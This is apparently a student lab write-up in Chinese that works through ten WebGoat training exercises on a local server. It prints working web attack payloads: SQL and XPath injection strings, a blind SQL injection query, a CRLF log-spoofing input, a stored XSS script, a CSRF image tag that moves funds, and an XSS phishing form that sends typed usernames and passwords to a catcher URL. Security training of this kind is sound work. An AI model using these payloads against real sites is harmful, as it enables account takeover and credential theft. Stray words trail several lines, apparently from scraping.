1.開啓webgoathtml
輸入java -jar webgoat-container-7.1-exec.jar
java
在瀏覽器輸入localhost:8080/WebGoat
,進入webgoat
web
2.SQL字符串注入(String SQL Injection)sql
讓咱們試一試使用SQL注入,從而顯示出全部信用卡號。能夠先輸入Smith試一試,發現出如今SELECT * FROM user_data WHERE last_name = 'Smith'
兩個單引號中間,也就是咱們能夠經過控制在輸入框中輸入的字符串,達到控制select語句的目的。
數據庫
輸入'or 1='1
,語句就變成SELECT * FROM user_data WHERE last_name = ''or 1='1'
,這句的意思就是查詢lastname='' OR
(或者)1='1' ,這裏的 1='1' 永遠爲真,因此成功經過。
瀏覽器
3.日誌欺騙(Log Spoofing)安全
lzm%0d%0aLogin Succeeded for username: admin
4.Numeric SQL Injection服務器
inspect Element
對源代碼進行修改,在任意一個值好比101旁邊加上or 1=1;5.Command Injectioncookie
inspect Element
對源代碼進行修改,右鍵點擊BackDoors.help,,這樣就能夠直接定位到須要修改的位置,無需一行一行代碼的查看了6.Stage 1:String SQL Injectionsession
對字符長度進行修改
從新登陸,登陸成功
7.XPATH Injection
Username: lzm' or 1=1 or 'a'='a Password: lzm
8.Blind String SQL Injection
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='5213521352135213'), 1, 1) = 'h' );
9.Phishing with XSS
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
10.Stored XSS Attacks
<script>alert("5213 attack succeed!");</script>
,提交後,能夠發現剛剛建立的帖子2015521311.Cross Site Request Forgery(CSRF)
<img src="http://localhost:8080/WebGoat/attack? Screen=288&menu=900&transferFunds=5213"/>
提交後在下面的Message List裏面能夠看我剛剛發送的消息
點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的5213元,從而達到CSRF攻擊的目的
此次實驗確實學到了不少東西,原來還有這麼個集成攻擊小東西,練習中對xss,sql注入有了進一步認識,就先作10個吧。